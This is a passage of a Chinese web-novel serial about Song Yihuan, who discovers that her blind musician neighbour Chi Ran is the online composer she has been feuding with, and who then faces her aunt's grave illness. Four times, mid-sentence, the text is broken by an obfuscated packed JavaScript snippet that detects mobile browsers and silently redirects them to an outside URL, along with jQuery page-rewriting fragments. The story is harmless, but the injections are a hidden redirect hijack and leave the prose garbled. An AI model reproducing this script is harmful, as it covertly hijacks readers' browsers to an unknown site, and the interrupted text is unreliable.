迟燃侧头,也用很大力气扬声说:“问你什么歌!” “啥?”他还是没听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223485|181631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见。 明明可以再大点声喊一句,或者走过去问他,但迟燃忽然就泄气,没再吭声。 钱宇没听见回答,三两步冲到他门口:“怎么?太远了没听见。” “没什么,就问问你在听什么。”迟燃答。 其实到这个份上,他早就没什么问的兴趣。 “哦,这是跟你吵架那个。”钱宇思考片刻,觉得吵架二字太过宽泛,更具体地描述,“不是对门,是网上跟你吵架那姑娘的歌,还挺好听。” 他走进来,将手机搁在他肩膀上:“你听不听?唱得挺好。” “改我谱那个?”迟燃皱眉,“拿走。” 钱宇叹口气,拉凳子在他旁边坐下,小心翼翼地说:“哥,颖姐让我劝你呢。你上回发动态撕那个改你编曲的,掉了十万粉。” 迟燃冷脸道:“他先擅自改我曲子。” “是,你让人家迁祖坟之前,都是你占理。”钱宇说,“这回对面粉丝没你多,但路人缘比你好。而且她怎么看都不是故意的,她改谱也没商用,显然是自己练着玩。这回就算了吧哥。” 迟燃沉默许久,才说:“帮我个忙。” 钱宇以为有戏,喜上眉梢:“替你发道歉微博吗?” “不是。”迟燃抬手一指门外,“帮我把门关上。” “行!”钱宇站起来,走到门口。 “从外面关!”他打个响指。 将人赶走后,迟燃的卧室重新归于寂静。他摸着琴盖,五个手指烦躁地轮番打节拍。 吃饱了撑的吗?那些乱改别人作品的脑瘫。 迟燃从琴盖摸到钢琴上沿,顺着摸到最左侧,将摆在那的ipad拿下来。他手指左右轻扫。 Siri无感情的声音播放:“已解锁。” 他手指熟练地扫过,时不时轻点几下。 “第一页,第二页,抬指以显示主屏幕,返回,相册,探索图像功能,探,详情,探索,第……” Siri旁白跟随他的动作报出操作名,又被他不耐烦的动作迅速打断,只能报一半,像在说Rap。 他根据探索图像功能的描述,顺利找到“我不说梦话”擅自改动的那半张乐谱,导入某个AI一键成曲软件。 “正在识别图片中的乐谱,请稍等…” “即将为您演奏图片中的乐谱…” 熟悉的旋律缓缓流淌,大体没什么变化,只是时不时跑出几个怪异的不和谐的音阶。 有点像吃蛤蜊咬到的沙子,也像音乐厅里响起的呼噜声。 烦人,格格不入。 只听个开头,他就有些烦闷地寻找退出键。 Siri随着他的动作播报:“重播,重播,详情,收藏,收藏,退出,退出,退出。” 播报总是被音乐打断,他双击好多次,总算成功关闭音乐。 迟燃顺着原路摸回钢琴上沿,将ipad放回原位,打开琴盖,双手搭上去。 他准备按照自己原创那版弹一遍,给自己洗洗耳朵,把刚刚听到的垃圾从耳朵里倒出去。 迟燃手指修长,在钢琴上飞舞跳跃。他微微仰头,背肌收缩又舒展,带着双手灵活地于黑白键之间游走。 忽然,飘出个不和谐的音符。 嘶。 他皱眉。 被刚才AI播放的脏东西影响,弹成错版了。 他暗暗在心里默默播放原版音律,又狠狠在“我不说梦话”那版上打个叉,从头开始弹。 越靠近那个错误,他便越小心,总算顺利弹对。 然后在下个被篡改的地方,再次弹错。 嘶! 迟燃恼火地按下去,钢琴发出混乱的怒吼。 他不信邪地又来,又错,循环往复。 与此同时,一墙之隔,两位女生面对面坐在厨房餐桌上。 宋呓欢含着半口咖喱羊排饭,呆若木鸡。 耶? 4. 第 4 章 “呓欢,这调怎么有点熟悉啊?你给我听过?” 连果果都意识到,抬头问她。 宋呓欢还没从震惊中缓过来,果果叫她好几声才反应过来,说:“这…这是跟我撕逼大战那个UP主原创的曲子。” 果果问:“那个余烬?” “嗯。”宋呓欢侧头分辨,“而且他好几次弹成我改编那版了。” 正说着,隔壁的音乐再次中断,接着是一声巨响,大约是用手锤在琴键上的嘈杂音符。 等愤怒音符绕梁三日,平息下来,那人再次从头开始弹奏。 宋呓欢:“又弹成我那版了,他这么砸琴键,应该…应该是对我的改编很满意,都拍案叫绝了。” 果果皱眉问:“不会这么巧吧?隔壁那位失明帅哥就是跟你吵架的余烬?也不一定啊,没准是钱宇呢,再说也可能是吃瓜群众。” “迟燃,余烬。”宋呓欢念完这两个双胞胎似的名字,瞪大眼睛,“可能还真就这么巧。” 毕竟除了名字,她还有个决定性证据:那么欠揍的嘴和烦人的个性,必然举世无双。 宋呓欢微微眯眼,左侧嘴角上扬半格,一扬下巴。 “你笑这么邪恶,想干嘛?”果果指指肥美的咖喱羊排,“你吃着人家上贡的小羊排呢。” “一码归一码。”宋呓欢扬眉道,“三次泯恩仇,不代表二次也和解。” 果果点评:“邪恶比格欢欢。” “你别这么叫!…欢欢真的很像狗名!” 又过两天,宋呓欢在团购群里看到隔壁的订单,挂着邪恶笑容跨上电瓶车,去取整栋楼的菜。 到隔壁敲门,果不其然,是钱宇开门。 “麻烦你。”他随口客套。 “不客气。”宋呓欢眼见着他要关门,头往前一伸,挡在关门的必经路线上。 “嗯?怎么?”钱宇问。 宋呓欢眨眨眼睛,将邪恶笑容深埋心底,扯出软糖似的无害笑容,说:“你们俩是音乐人吗?” 钱宇说:“哦,燃哥是做音乐的,怎么?” “你也是吗?” “我不太喜欢音乐。”钱宇摇头,“我跟着他,主要是喜欢月薪两万。” 宋呓欢轻笑:“怪可惜的,有天听他弹的挺好听,还想问问你是什么曲子呢。” 钱宇挺热心:“哪天弹的?我给你问问去。” “砸琴那首。”宋呓欢说,“他弹得挺好,怎么总生气。” “嘘!”钱宇警惕地往家里看看,示意她低声,“以后要是碰上,可别在他面前提这歌,他连手写谱都撕了。” 宋呓欢有些夸张地瞪大眼睛,配合地小声问:“手写谱?是他写的?” “嗯。”钱宇说,“没才华能这个脾气嘛?能让我轻松赚两万嘛。” 看得出来他真的很喜欢两万。 宋呓欢目的达成,后退转身,“走啦!” “哎,问你个事情。”钱宇叫住她,话锋一转。 他语气忽然变得异常认真严肃,跟刚才说话态度完全不同。 不会发现她图谋不轨吧? 宋呓欢做贼心虚,紧张地没敢回头。 “问你。”他说, “番茄炒蛋为什么会变成蛋花汤啊?” …… “隔壁那无礼男就是余烬。”宋呓欢断言,“他完了。” 果果退后两步,认真地将她从头到脚扫描一遍,“靓女,鲨鱼裤瑜伽服?穿这么高弹,你要揍人?” 宋呓欢一扬下巴,“我要让他亲口道歉。” 经她观察,迟燃每天下午三点雷打不动,会去二楼公共健身房锻炼。 她要在他累个半死,最狼狈虚弱的时候,当面叫出他的二次元马甲,让他切身体会被开盒的痛。 她掐着时间,抢在他前面到达健身房。 宋呓欢近两年很少进健身房,健身房的器械张牙舞爪,已经长成她不认识的模样。 他们所在的小区年轻人偏多,没别的事好做,这个时间健身房人挺多,基本都是浑身腱子肉的男性,每人守着个器材狂练。 痛苦的叫声此起彼伏,半封闭空间内这种吼声就显得格外噪杂,感觉连脑仁都跟着振。 宋呓欢热衷于看肌肉男,但仅限于网络。毕竟只有网络上的肌肉男才安静且无体味。 她皱着鼻子撇着嘴参观一圈,选了个座位最舒服且远离飞溅汗液的器材待着,守株待兔。 没多久,健身房的玻璃门被推开,光影变幻,修长的影子落下来。 兔来了。 迟燃穿着无袖修身的健身服,能看出薄肌。他戴着口罩,但没戴墨镜。他碎发落下来,半遮住眼睛和疤痕,跟钱宇并排走到门口。 迟燃将胳膊从钱宇身上拿下来,贴着玻璃门边站定。 钱宇:“走啦?四点来找你。” “嗯。”迟燃说。 宋呓欢眼见着钱宇走远,提一口气,准备暴喝一声。 可“余烬”二字都到嘴边,忽然生生卡住。 因为迟燃开始独自从门口往里走。 单从走路姿势看,只觉得他走路有些慢,又格外稳,很难通过走姿发现他视力有问题。 之所以说稳,是因为他每步都落得一丝不苟,左脚脚尖跟着右脚脚跟,右脚脚尖跟着左脚脚跟,循环往复,像在用脚步丈量距离。 他走得很努力,手臂肌肉绷紧,青筋暴起。 对于知道内情的宋呓欢来说,能清楚地看出他的费力,也能猜到他大约不想让人看出自己的不同。 她忽然就有些底气不足,不知道该不该继续下去。 她前面光顾着计划怎么让余烬真心诚意地道歉,压根没想起来他视力障碍这回事。 这就有点不好办。 犹豫间,迟燃已经平稳地走到跑步机上,指腹顺着按键区的下沿划过,按下启动,抬肘小跑起来。 跑步机上又不稳,很容易摔跤,这就更不好喊他了。 宋呓欢有些苦恼地扯着器械上的拉环,将五斤配重扯的飞起。 “你好?”有个年纪不大的女生靠近迟燃所在的跑步机,怯生生地叫他。 迟燃没理,自顾自地慢跑热身。 女生见他没动静,又叫他几声,但他还是置若罔闻。 她犹豫着上手拍他,手落在他手臂上。他猛地往后一躲,脚步错乱几步,才重新找回节奏。 他目视前方,压根没看那女生,连耳机都没摘,语气很不客气:“有事?” 那女生本来声音就小,被他态度一吓,声音更小:“那个,你…” “听不见。”他打断她,指指耳机。 他态度已经很明确,那女生讷讷地说:“…没事了。” 也没管他听没听见,说完垂着头加速跑走,去找站在远处的同伴。 迟燃头都没回一下。 这王八蛋还真是,看得人一股无名火。 宋呓欢火大地挽起袖子,起身站起,朝着他走过去—— 又走回来,回原位坐下。 …… 客观因素使然,实在没想好该怎么在不冒犯迟燃人格的前提下,打抱不平。 难办。 迟燃热身之后又去练胸练背练腿,宋呓欢就坐在那,撑着下巴,用恶狠狠的目光跟随他背影。 目光要是能导热,估计他背心早就着火。 “想死。啊想死。啊想死。” 刚刚搭讪那女生开始用她旁边的练腿器械,边使劲蹬边念,跟劳动号子似的。 “跟你说别去别去,他看着就很高冷。” 她朋友站在旁边,尴尬得龇牙咧嘴,时不时往迟燃的方向飞速瞟一眼。 女生做完半组,才起身说:“不行,不搭讪我后悔一辈子。” 换她朋友上器材,她说:“去了倒是不后悔,不尴尬吗?” “尴尬,我感觉袜子都被脚趾抠烂了。”女生哀嚎,“啊,可是好帅。” “要不走吧,我现在还脚趾抠地呢。”她朋友低着头小声说。 “行吧,走吧。” 宋呓欢半推半就地听了一耳朵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223486|181631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墙角。见那女生没那么难过,她多少也跟着松口气。 俩人走的时候路过她身边,搭讪女生的最后几句话忽然飘进她耳朵: “还是该去!要是因为害怕没去,那我就算老成没牙老太太,想起来这茬都得悔死。” 她朋友笑着说:“确实,福利不薅白不薅,帅哥不捡白不捡。” 宋呓欢愣了半天没回神。 还是手机铃声将她从神游中拽回现实,她低头一看,是她亲妈王女士的电话。 她跟收到什么指令似的秒接,都没顾得上走到外面接。 “喂?妈妈。” “怎么接这么快?不忙吗?” “不忙。”宋呓欢规规矩矩地回:“每天在家待着,也不出门。” “哦。” 电话那端停顿几秒,再开口很犹豫,每个字都拖得很长:“闺女啊,妈妈看到你朋友圈,去做志愿者啦?” 宋呓欢条件反射般瞪大眼睛,满脑子就剩两个字,要遭。 她发扛菜的朋友圈,忘记屏蔽王女士了! 王女士是何许人也,今天这事势必无法善了。 要知道她高二成人礼当天,未经王女士允许就跟朋友去外面吃晚饭,她到家后被王女士整整数落了两个小时。 第二天,王女士专门到学校找到跟她吃饭的朋友,三言两语把人说得低下头,趴桌上哭了一个下午。 后来再也没搭理过她。 谁知王女士闻言并未暴走,反而语气柔软,带点讨好意味地说:“呓欢,我们要么不去了吧?” 宋呓欢一时没反应过来。 她差点忘了,十八岁前那个控制欲爆棚的王女士已经是过去式了。现在王女士,是温柔体贴堪称敏感的甜妈。 这反差大的,估计她姥姥都认不出来。 她无声地叹口气,说:“我就想出门活动活动,也不累。” “不是累,妈妈是担心病毒,到时候又发烧又难受,我也不在身边。” 宋呓欢没说话。 王女士大约以为她不愿意听,迅速改口:“妈妈也就是担心你,你要是去做志愿者更开心,那就去,口罩戴好。” 宋呓欢还是没说话。 毫无疑问,王女士控制欲爆棚的时候,她是很厌烦的。但她现在这么说话,她也没变得多舒服。 一方面是她实在不适应,另一方面,她知道王女士也不适应这种全新的妈妈人设,她也在硬演。 这话没办法说清楚,难道说,你要不还是变回掌控女儿一切那个妈吧。 多难听多冒昧啊。 宋呓欢最终只是说:“好,我会注意。” 王女士大约还想说点什么,支吾一会最终什么都没说。 虽然妈妈没说,但她还是猜到:“应该不会错过时间,能回家看我爸。还有一个多月呢,我到时候回。” 王女士说好。 “小姑最近怎么样?”宋呓欢怕她挂电话太快,连忙问。 “还那样。”王女士显然不愿意多说。 不是坏消息就可以姑且算作好消息。 对吧。 王女士最后说:好,你忙去吧。接着就挂断电话。 尽管她压根不忙,她正没事找事呢。 “喂。” 有人叫她,声音似乎有些熟悉,但她挺机械地拿着手机发愣,一时没反应过来。 那人加大音量:“喂!你!” 宋呓欢一抬头,正对上迟燃放大的脸。 她坐在健身器材上,他左脚脚尖抵着器材边缘站着,垂头弯腰靠近她。那双无神的眼睛依然无法与她对视,落在她额头往上。 宋呓欢傻眼。 这什么情况? 他怎么过来的? 迟燃有些火大地喘出口气,脚尖踢踢器材。器材一振,她下意识地往后躲,没出声,也没来得及跑。 他又踢一下器材,“鬼鬼祟祟干什么呢?跟踪?” 他一字一顿咬牙道:“小、粉。” 两个字,吓得她彻底僵住。 5. 第 5 章 迟燃主动挑起正面交锋,还明确称呼她为“小粉”,宋呓欢半宕机的大脑里冒出来无数个问题。 他明明看不见,到底是怎么找到她的? 难道她打电话声音太大?他能听声辨位? 那怎么能那么精确地说出“小粉”? … 未知带来恐惧,宋呓欢当场往旁边一钻,落荒而逃。 总而言之,复仇行动不仅没有让迟燃感受到被开盒的痛苦,她自己反倒莫名感受到另种意义上的开盒。 线上线下都惨败,非常窝囊。 她沮丧地窝在电竞椅里,漫无目的地戳手机,一抬头,跟屏保上的乙游男主四目相对。 男主穿着健身服坐引体向上,薄肌发力,线条流畅。 她盯着看半天,才有种充电成功的感觉。 她最近才开始玩这款游戏,主要是被其中健身陪伴功能吸引,垂直入坑。她不健身,就跟陪酒男模不是为了喝酒一样,健身陪伴也显然不是为了健身。 她将最有好感的那位男主设为屏幕保护,二十四小时做引体向上给她看。每次打开电脑,身心都能得到滋养。 她满意地托腮欣赏。 忽然,屏保图案一闪,又一闪。接着屏幕上的他由双手变为单手握杠,手臂发力,轻巧地将身体上拉,再下沉,循环往复。 宋呓欢难以置信地眨眨眼。 他以帅气标准的姿势连续做好几个单手引体向上,接着身体微微荡起,自单杠上一跃而下,跳出屏幕。 他牵起她的手,在手臂上印下轻吻。吻罢抬眼靠近她,在她嘴唇上啄吻。 她隐约记得这是情人节卡面的情节,连动作都一样。 没多久,动作忽然变得陌生起来。 他的指尖描摹轮廓似的,自她手腕上攀,顺着手臂、肩膀到达脖颈,又摩挲她的脸颊。微凉的指尖贴上她的唇,指尖标记锚点般地停留在那里,直到他俯身吻下来。 再次回过神来,某种悸动顺着背脊攀到脖颈。 这…就必然不是游戏里能有的情节了。 她忽然从他琐碎的手部动作里感受到某种莫名的熟悉,她猛地回神,伸手抬起他的下巴,定睛一看。 是迟燃的脸。 宋呓欢说不清自己是怎么醒的,吓醒还是别的什么。 未到春分,黑夜漫长,她惊醒时,窗外一片漆黑。 等她彻底醒过来,被子已经被掀翻在地,她猛地翻个身,用力将脸藏进枕头里,手锤枕头,整个人扑腾几次。 缓了许久,她伸手一摸,脖颈到脸颊,烫得像发烧。 “我觉得春天是个很可怕的季节。”宋呓欢连续三天梦到同样的内容,在吃早饭时忽然冒出来这句话。 果果咽下纯手工大肉包,满脸不解:“你这结论好突然,怎么得来的?” 宋呓欢反手托脸,手背明显感觉脸越来越热。 她咳嗽一声,斟酌着问:“果,你谈过恋爱吗?” “我没怎么谈过,基本都是睡过。正经恋爱就谈过一回,还是大学时候的事。”果果说,“怎么,想谈恋爱?” 脸更烫了。 她硬着头皮问:“那,你会做关于男朋友的梦吗?” 果果随口问:“什么梦啊?” 宋呓欢半天没说出话来。 显然,不说话就是最清楚的回答。 果果死死绷住嘴角,显然在憋笑,半天才说出句:“正常的。” 宋呓欢有点后悔开启这个话题,但都问到这份上,破罐子破摔道:“我知道梦一次正常,但要是连续是不是就不太正常啊?” “你多大来着?02年…”果果迅速口算,“你才二十啊,那正常的。”她挑眉,“正是色胆包天的年纪。” “那梦到讨厌的人也正常吗?”宋呓欢问。 “你哪有讨厌…”果果倒吸一口气,瞪大眼睛,“哇哦,隔壁那位啊!” “小点声!!”宋呓欢去捂她嘴。 果果严肃地比个噤声的手势,嘴巴才重获自由,“没毛病,烦人的帅哥也是帅哥。不过话说回来,据我目测,他应该尺寸还…” “啊!别说了啊啊啊!!”宋呓欢又去捂她嘴,“我要怎么面对他啊啊!” “面什么对,上啊!”果果撑着下巴,“虽说尺寸不是一切吧,但有尺寸总比没有…” 宋呓欢受不了这么生猛的话,又要捂她嘴,果果却抬手挡掉,非常认真地说:“没开玩笑,女性高潮心理因素占比很高的。” 宋呓欢脸烫得发麻,“啊?什么啊?” “这是过来人的经验。”果果严肃道:“意思是,对待帅哥,应上尽上。” 宋呓欢:…… 这是她这些天第二次听到这种理论,对她来说,实在有点太超前了。 高中毕业之前,别说早恋,她连多跟男生说两句话,都觉着王女士就在窗外某处盯着她看。而高中毕业之后,她也没谈上恋爱,更别说恋爱的下一步。 最接近的经历是王亚帅的速8酒店邀请函。 觉察她的犹豫,果果手握出个空心的圆,假装握着话筒:“宋欢欢,你别在这装啊。本记者采访你一下,你十八岁的生日愿望是什么?” “话筒”移到宋呓欢面前。 “…谈场完美的恋爱。” “话筒”移回去,果果咧着嘴笑,“那么十九岁呢?” 宋呓欢声音变小,脸上发烫,“接,咳,接个完美的吻。” “那么,你即将到来的二十岁生日,预定的愿望是——” 她闭了闭眼睛,咬牙切齿,话从牙缝里挤出来:“做…做一场完美的…体…体验一次性…高…” 依然说不下去。 果果笑:“所以咯!干嘛不上?” “怎么可能是完美的!你自己说,你的第一次,完美吗?”宋呓欢垂死挣扎。 “极其一般。”果果摇头,“不痛,但很不舒服,我前男友没什么情趣,更没什么技术,纯机械运动,摩擦还不生热,就纯摩擦。而且我那时刚看完《爱你,罗茜》,我全程都在担心会不会掉在里面…” 宋呓欢脸烫得要爆炸,硬着头皮说:“所以啊…” “所以咯!我的失败经验给你参考!”果果说,“再说你上之前可以跟对方一起做好功课,力求完美。” …这都哪儿跟哪儿啊。 果果平时怂包,可一旦聊起黄色的,简直让人叹为观止。而且她有任何好奇,果果主打一个知无不言,言无不尽。 直白得都有些吓人了。 宋呓欢本就心里有鬼,跟果果聊完,这鬼通体发黄,藏都藏不住。 更何况,基于上次健身房事件,她在迟燃心里肯定已经跟变态划上约等号,她再做点什么,约等号势必瞬间拉直。 所以,不行不行。 然而,人就是有某种逆反心理,她越是告诉自己这不对劲,这念头就越是叫嚣着。 这念头加上健身房事件,严重到影响她面对邻居的底气。 她再没有之前的嚣张气焰,不仅不敢再去砸门送团购,偶尔在走廊碰上对面两位,都会低头遁地跑走。 …特别窝囊。 这种念头带来的连锁反应,在第二次全员下楼时,到达某种不可忽视的程度。 “嗨。”钱宇乐呵呵地打招呼。 果果也回他:“嗨。” 宋呓欢缩在没比她高多少的果果身后,尴尬地笑笑,没敢出声。 迟燃目视前方,脸没朝着他们的方向,这多少让她松口气。 电梯开始运行,微微失重间,迟燃蓦地朝她们的方向转过头。 宋呓欢吓得一抖,又往果果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223487|181631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后躲。 …动作有点大,电梯内也轻晃。 电梯一晃,迟燃微微偏头。他挑衅似的朝着她们的方向挑挑眉,嘴角微弯,又缓缓转回去。 看起来心情大好的样子。 什么意思? 就这意味不明的一个表情,宋呓欢心跳晃荡的幅度比电梯更大,直到在楼下排队时都没缓过来。 迟燃和钱宇依然排在她们前面,她拉着果果跟他们严格保持一米以上的距离。 迟燃皮肤白、个子高,站在队伍里很耀眼。嘴角挂着那抹似有若无的笑容,很刺眼。 大约是心里有鬼,宋呓欢时不时就会下意识往他脸上扫一眼,确认那抹刺眼的笑容还在不在。 排队二十分钟,根据宋呓欢每隔几秒的抽样观察,可以合理得到结论:刺眼欠揍的笑容一直挂在他脸上。 他到底笑什么呢? 他知道她染着粉头发,也许是钱宇告诉过她,这很正常。但在健身房,他怎么能那么准确地找到她? 上楼关门后,她认真地跟果果交流她的猜测。 “我觉得他不是完全看不见,应该是视力受限那种,所以那天才能精准地叫我小粉。”宋呓欢撑着下巴,贴着果果坐,“可明明是我先到健身房,他凭什么说我跟踪?” “他说话不是就这样吗?要不你们怎么二次三次都吵起来。”果果坐在沙发上托腮看韩剧,随口回,“他之前不是还拿余烬那个号说你不通乐理嘛。” 提到余烬账号,宋呓欢感叹道:“他歌确实写得非常好,不肯露脸也合理。如果因为他生理缺陷而将评判标准打折,会让觉得非常可惜。” 果果笑她:“要和解啊?” “不可能!”宋呓欢说,“难道就因为他长得有点好看,我还一不小心梦到他几次,梦里对他做了点什么,就原谅他吗?脸也不是这么刷的!” 果果放下ipad起身喝水,宋呓欢也起身跟随:“他到底凭什么说我跟踪?他没证据啊!就算他在健身房看到我,那也只能说明碰巧遇上,没办法断定我跟踪他对不对?” “对。”果果咽下一口水,配合地说。 “是吧!”宋呓欢说,“那今天在电梯里,他到底什么意思?挑衅吗?” 果果说:“不知道啊,我那会儿回消息呢,没抬头。” 宋呓欢绘声绘色地描述:“他朝着我们这边看…不是就脸朝着我们,笑得特别拽!然后排队的时候,他脸上一直挂着那种拽笑!” “一直?”果果回忆片刻,“我还真没注意。” 喝完水,果果又回到沙发上坐着,宋呓欢跟在她身后,也坐下。 “排队的时候一直在笑!跟打了玻尿酸似的!”她说,“钱宇之前说,他是两年前出事的。你说,出事是什么事?” “医疗事故?车祸?我看韩剧里都这么演的。”果果指指ipad上的帅气欧巴,“这个就是车祸导致的。” 宋呓欢看看屏幕上欧巴利落的动作,吐槽:“这演得太刻意了,这欧巴失明三年,怎么还双手伸平,用小僵尸的姿势走路?比紫薇刚失明那段还刻意。” “没准他就习惯这么走呢。”果果说。 “迟燃根本不是这样啊,他动作根本没这么夸张。”宋呓欢说,“他也会更依赖手来做判断,会摸来摸去,所以有时候手部动作会显得很琐碎。 比如按跑步机按键,他得一个一个摸过去。用手机也是,话说回来,他总是戴着耳机,手机大概开着那种有语音播报的功能…” 果果眯眼凑近,狐疑地看着她。 宋呓欢被盯得莫名其妙,“…怎么啦?看我干嘛?” 果果又凑近点。 “干什么啊?”她忽然有些心虚。 “过来人告诉你。”果果拍拍她肩膀,“对一个男人感到好奇,是完蛋的前兆。” 6. 第 6 章 “明明是每天待在家没事做…” “再说他要是不招惹我,我也不会一直盯着他看…” “知己知彼百战不殆!那我要跟他斗到底,还不能多了解…” 宋呓欢叉腰起立,短短三分钟扯出八百个理由。 果果淡定地托腮坐着,匀速闭眼点头,以一种极其敷衍的频率。 宋呓欢说着说着就没声儿了。她自暴自弃地往沙发上一砸,“啊!课本上没教啊。” 果果笑她:“你上学的时候就没对谁有过欲望?” “首先!我对迟燃没有欲…没有那个!”宋呓欢两手做弯曲兔耳,给说不出口的那个二字手动打上双引号,接着说,“好奇,纯粹是好奇!” “再说了,我高中没手机,没电脑,我妈亲自接送,吉祥物似的。别说…别说那个了,我连好感的小火苗都不敢有。”她叹气。 果果:“只有好奇?” “好吧好吧,还有我无法控制的该死的梦!”宋呓欢掐人中,“怪春天。” 果果又说一次:“呓欢,当上则上,正视欲望。” 没等宋呓欢吐槽她押韵,手机又响,还是王女士。 果然不能背后说亲妈坏话。 接起来,王女士语气格外严肃慌乱。宋呓欢听着就觉得不对劲,问:“出什么事了?” “你们还要隔离多久?”她问,“这两天能回家吗?” “急事能特批,妈你别吓我,你说事。”宋呓欢有点慌。 “你小姑这两天情况不太好,也想你。” 宋呓欢喉咙哽住,某种巨大的恐惧瞬间包裹上来。 果果握住她的手,攥着。 王女士忽然叹口气,“也不对,都昏头了,你回来再传染给她。” 宋呓欢将电话移开,深呼吸几次才重新拿回来,说:“要不视频电话吧?在ICU吗?几点能探视?” “下午三点。”王女士说,“但她不一定醒着。她要是精神头好,我就打给你。” “我开着铃声。”宋呓欢说。 挂断电话,她半天没说话,就呆呆地坐着。 这电话其实很熟悉。她高一军训的时候也是这样,接到妈妈的电话,慌乱地请假回家,陪爸爸度过最后几天。 说是陪,其实就是在ICU外等。 到最后也没等到半句话。 她没什么心情做午饭,果果煮了两包泡面,还奢侈地加了午餐肉和鸡蛋,盯着她吃。 “再吃点。”果果说。 宋呓欢放下筷子:“我本来也吃得不多。” “你刚才就拿筷子蘸汤舔了一口。”果果拍拍她手,“多少吃点。” “我在想一会跟她说什么。”宋呓欢拿筷子挑起一根面,没送进嘴巴,又放回去,“我妈让我跟她说,没事,很快就接她回家。这不就骗人吗?” 果果说:“你小姑心里什么都清楚,这就不算骗人。” “那更不能讲这么…这么哄人的话。”宋呓欢叹出口气,“但我真不知道还能说什么。” “生死面前,还能说什么?”果果拍拍她,“你吃,我再帮你想想。” 她的焦躁持续到下午三点,王女士没打来电话,只是给她发条消息。 【小姑没醒,不打视频了。】 宋呓欢打视频过去,王女士挂断,她再打,再挂。 【我想看看小姑。】 王女士很快回复:【她没醒,你就别看了。】 【妈妈担心你看了害怕,难受。】 宋呓欢对着回复发愣,没再坚持。 她胸腔像是囤着厚厚的积雨,闷得喘不上气。周遭声音忽然变得很模糊,她像被定住似的动不了。 脑子里是爸爸去世前,形容枯槁,严重黄疸的样子。 王女士说得不对。 其实不看也难受,也害怕。 / “你敢。” 迟燃一脚踹翻凳子,哐当一声响。 “你要是敢把我的歌卖给他,你卖,我解约,我把话撂这。” 说完他没给对方反应的机会,手指用力双击屏幕挂断电话。 钱宇原本在厨房做科学实验,听到声音连忙关火走出来。 客厅一片狼籍,茶几上空无一物,他踹倒的凳子将茶几上的东西都摔到地上。连茶具也被带到地上,摔个稀巴烂,满地都是碎片。 “燃哥,你先回屋待着?”钱宇先出声才去扶他,用脚尖把碎片踢到一边,开出条路。 迟燃跟着走,脖颈青筋暴起,因缺氧而大口呼吸。 将人带到屋里后,钱宇劝道:“圈子这么小,肯定会碰上。那他要买你歌,文哥还能说不卖吗?消消气。” “换你,你能消气?”迟燃靠在钢琴边,手烦躁地敲。 钱宇坦陈:“给我分成的话,我压根就不会生气。” 迟燃半天没说出话,“…就多余问你。” “我做饭去。”钱宇说着走出他卧室,往厨房走。 迟燃叫住他:“别跟颖姐说。” “颖姐。”钱宇将抽油烟机开到最大,关着厨房门跟颖姐打电话,“我劝不住。” 电话那端的资深经纪人还算淡定,只是叹口气:“知道,没指望你能劝住。” “他刚把文哥电话挂了。”钱宇说,“老板电话都敢挂,多吓人呐。颖姐,我会被连坐吗?” 颖姐懒得理这钱串子,说:“周庭在圈子里是数一数二的制作人,我们这小破音乐制作公司,哪能说不卖就不卖?” “我说了,但他也不听我的啊。”钱宇往番茄蛋花汤里倒点酱油。 颖姐:“你别管,我劝。你好好做饭,他再瘦身体遭不住。” “嗯嗯。”钱宇边答应边又边往汤里挤了点蚝油。 前年十月,迟燃已经瞎了半年,过去半年内,他半首歌都没写出来。 他那时还签在周庭的公司里,他好不容易用半年时间重新学会整套作编曲的技能,却早已被市场遗忘,被周庭“发配边疆”,给某个十八线地下偶像团体写歌。 跟他的从前相比,落差不亚于从万米高空跌进坟坑里等着埋。 被那张薄薄的残疾证死死压住之前,他的世界一片光明,各种意义上的一片光明。 他十五岁开始写歌,在网络上小有名气。大学期间趁暑假参加作编曲音乐节目,从此一战成名。那之后,他邀约不断,合作方从流量明星到天王天后,春风得意。 神坛对他来说太矮,爬上去太容易,又太过年少,他总是傲气,总是轻狂。想来,这种态度早就惹恼他彼时的老板周庭,登高跌重后,周庭以层出不穷的方式折辱他。 “那么不放心,那你就看看谱呗。”中年男人沙哑刺耳的声音响起。 接着,手里被塞进张薄薄的纸,边缘很锋利,割手。 迟燃早没有当初的底气,他死死攥着纸,克制着说:“刚刚排练厅那版不是我写的,副歌升Key主歌改谱,这样很突兀。” 周庭不接茬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 